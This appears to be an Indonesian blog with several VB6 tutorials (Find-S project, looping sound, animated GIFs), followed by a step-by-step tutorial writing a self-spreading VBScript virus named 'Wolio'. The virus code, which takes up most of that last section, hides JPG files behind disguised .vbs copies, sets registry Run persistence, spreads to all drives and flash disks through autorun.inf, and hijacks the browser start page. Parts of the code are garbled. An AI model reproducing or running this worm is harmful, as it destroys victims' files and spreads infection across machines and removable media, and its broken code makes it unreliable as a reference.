.ZXCzxcz

Hadoow….. kuliah ini rasanya semakin lama semakin sulit aja yah…. :D
Ini adalah salah satu mata kuliah Machine Learning yang sekarang lagi aku geluti di semester ini. Di sini aku menggunakan bahasa pemrograman VB 6. Sebenernya terserah sih mau pake bahasa pemrograman apa aja gapapa… tapi di sini aku lagi tertari aja menggunakan VB 6….
Dalam project ini aku menggunakan ActiveSkin 4.3 biar vbnya jadi kliatan agak ganteng gitu…. gambarnya kaya gini nih..




Nah kalo ga bisa di jalanin di VB yang terinstall pada komputer kalian, itu artinya komponen utuk Skinnya kalian belum install dan mending kalian cari aja ya di google trus download dan install biar hasilnya cakep… :D
Dalam posting ini aku belum jelasin tentang apa dan bagaimananya algoritma Find-S, but itu nyusul aja yah.. kali ini aku upload projectnya aja, setelah itu baru aku posting penjelasannya OK! Eh tapi source code ini aku belum jamin 100% kebenarannya, mungkin anda semua bisa menyempurnakan project ini…dan mengkritik project yang aku buat pada posting ini juga sangat dipersilahkan.. hehe
Selamat mendownload…..
Untuk Source Codenya silahkan download di sini

Waw….. begitu nyari dengan kata kunci looping sound di vb6…. weleh-weleh…. yang dapet kok ya script sulit-sulit banget yah…. hmmm jadi pusing mikirin scriptnya doank… :D
Tapi karena aku ga putus asa… akhirnya aku dapet cara yang paling gampang banget ngelooping sound dengan extensi .wav di vb6….hehehehe…
oke deh abgi kalian yang emang sedang butuh tutorial kaya gini, semoga ini bermanfaat buat kalian. Ini dia nih caranya :
1. Deklarasi variable yang diperlukan untuk looping sound
Private Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Const SND_ASYNC = &H1
Const SND_LOOP = &H8
Const SND_NODEFAULT = &H2
Const SND_SYNC = &H0
Const SND_NOSTOP = &H10
Const SND_MEMORY = &H4
Const SND_STOP = &H4
2. Buat 1 button dan pada event button tersebut ketik seperti berikut :
Private Sub XPButton3_Click()
sndPlaySound App.Path & "\sound.wav", SND_LOOP Or SND_ASYNC Or SND_NODEFAULT
End Sub
Ini adalah fungsi untuk playing looping sound dan tidak berhenti sama sekali.
3. Control untuk menghentikan sound tersebut. Caranya sama dengan langkah ke dua, buat button dan pada event OnClick isikan programnya seperti berikut :
Private Sub XPButton4_Click()
sndPlaySound App.Path & "\sound.wav", SND_STOP
End Sub
OKe, semua code yang uda aku coba di atas bisa berjalan dengan baik tanpa error… bagi kalian yang membutuhkan tutorial seperti di atas, Silahkan coba aja dan semoga tutorial ini bermanfaat… :)

Waaww… sekian lamanya cari-cari di internet gimana caranya ngeload gambar beranimasi gif ke dalam form vb6 akhirnya ketemu juga neh caranya… hehehehe
Dan bagusnya lagi bisa tampil transparent meskipun menggunakan background image pada formnya… Waahhh leganya…. Heehehe
Uda deh langsung aja yah…
Pertama kita perlu tambahan library untuk ngeload gambar gif ke form kita. Library itu namanya adalah GIFviewer.ocx. Nah file tersebut bisa di unduh di sini
Oke setelah selesai download library tersebut, selanjutnya adalah meregister library tersebut. Caranya adalah klik start->run->cmd.
Setelah tampil layar command prompt ketik regsvr32 gifviewer.ocx setelah register berhasil buka vb.
Pada bagian kosong toolbox klik kanan->components, kemudian cari componen dengan nama welchGifViewer. Oke tinggal pake aja deh….
Kalo mau ngeload gambar Gifnya pake script caranya gini nih :
ucAniGIF1.LoadAnimatedGIF_File App.Path & "\dance.gif"
Untuk load dengan cara script di atas bisa menggunakan event onLoad atau pada button click…
Oke semoga bermanfaat… :)

Virus komputer merupakan program komputer yang dapat menggandakan atau
menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke
dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup.
Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat
pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual
Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario
virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat
didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan
merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut
terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat
restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk.
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet
Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan
pelajari dari script dibawah ini:

1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubah-
nya sesuai dengan skenario diatas

Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,".")) & "jpeg")
set fbackup = fso.GetFile(Left(target,instrrev(target,".")) & "jpeg")
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,".")) & "jpg " & ".vbs")
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)="jpg") then serangan_jpg(filetarget)
Next
End Sub Universal Technology Madiun
©2007 UnitechMdn

ub serangan_drive()
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & "" & "wolio.vbs")
If drive.DriveType = 1 And drive.DriveLetter > "C:" Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & "" & "autorun.inf",False)
fileautorun.WriteLine("[AUTORUN]")
fileautorun.WriteLine("RUN=wolio.vbs")
End If
End Sub

Sub serangan_ie()
If (regedit.RegRead("HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page")<>"c:\windows\system32\wolio.html") Then
regedit.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page","c:\windows\system32\wolio.html"
End If
End Sub

Sub buat_html()
set filehtml = fso.CreateTextFile("c:windowssystem32wolio.html",True)
filehtml.WriteLine("")
filehtml.WriteLine("")
")
filehtml.WriteLine("Welcome to Wolio")
filehtml.WriteLine("filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("")
filehtml.WriteLine("Selamat Datang di Wolio VBS ")
filehtml.WriteLine("")
filehtml.WriteLine("")
End Sub

Sub serangan_folder(foldername)
on error resume next

For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & "wolio.vbs")
carifilejpg(subfolder)
next
End Sub

on error resume next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk

set fso = CreateObject("Scripting.FileSystemObject")
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject("WScript.Shell")

myfolder = Left(fsource,InStrRev(fsource,""))
' Copy-kan diri ke "c:windowssystem32" Universal Technology Madiun
©2007 UnitechMdn
fsource.Copy("c:windowssystem32wolio.vbs")
' Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
' Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
' Regitry
if
(regedit.RegRead("HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio")<>"c:\win
dows\system32\wolio.vbs") Then
regedit.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio","c:\windows\system32\wolio.
vbs"
End If
' Copy-kan diri ke semua drive aktif
serangan_drive()
' Buat file wolio.html
buat_html()
' Ubah Start Page di Internet Explorer
serangan_ie()

Alat yang diperlukan:

- Microsoft Visual Basic 6 (VB6), bisa portable atau instalable, bisa download disini :